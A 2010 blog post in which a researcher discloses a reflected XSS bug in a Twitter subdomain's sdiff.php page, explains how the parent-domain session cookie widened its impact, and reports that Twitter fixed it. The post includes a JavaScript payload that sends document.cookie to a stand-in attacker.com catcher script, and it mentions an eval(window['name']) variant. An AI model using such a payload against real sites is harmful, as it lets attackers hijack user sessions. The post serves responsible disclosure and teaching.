Monday, July 19th, 2010
I recently came across a XSS vulnerability on Twitter. 99% of XSS bugs are fairly straightforward and this bug was no exception. Getting a simple alert box was easy, but creating a payload to actually do something valuable (steal the twitter cookie, post on behalf of the victim…etc) was interesting exercise. Nothing earth shattering or new here, but I wanted to document this just in case someone else runs into a similar situation.
Cookie scoping – Twitter.com has multiple sub domains, one of which is apiwiki.twitter.com. APIwiki is meant to be a resource for developers looking to utilize the twitter APIs. Fortunately for the attacker (or unfortunately for Twitter) the session cookie that represents authentication is scoped to the parent Twitter domain (.twitter.com)
With such a widely scoped cookie, a XSS bug on any of the twitter subdomains means I can steal the twitter session cookie for www.twitter.com (which is where all the action takes place). Subdomains like apiwiki.twitter.com typically receive less security attention than the flagship domain (for many reasons) but when the session cookie is scoped to the parent domain, bugs like XSS on these overlooked subdomains have the same impact as XSS on the flagship domain. Twitter should consider restricting the scope of their session cookie or move nonessential stuff to an alternate domain.
The XSS bug – The actual XSS bug was found here:
sdiff.php is looking to compare two different php files. The querystring parameters named “first” and “second” both expect to have a php filename. If an invalid filename was provided, an exception would be thrown and an error message would be displayed. The error message looked something like this:
Looking at the HTML source of the error page, we see the following stacktrace in the HTML Markup. The stacktrace contains our unsanitized, attacker controlled values. Classic XSS straight out of Web app security 101.
The Payload – Now here’s where things got interesting. Generating a quick alert box payload was simple. I simply supplied the following value for the “second” parameter:
var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies;
(kuza’s eval(window[‘name’]) should also work here)
The final URL looked like this:
I reported the bug to the Twitter security team and they addressed it in a timely manner. It was a pleasure working with them.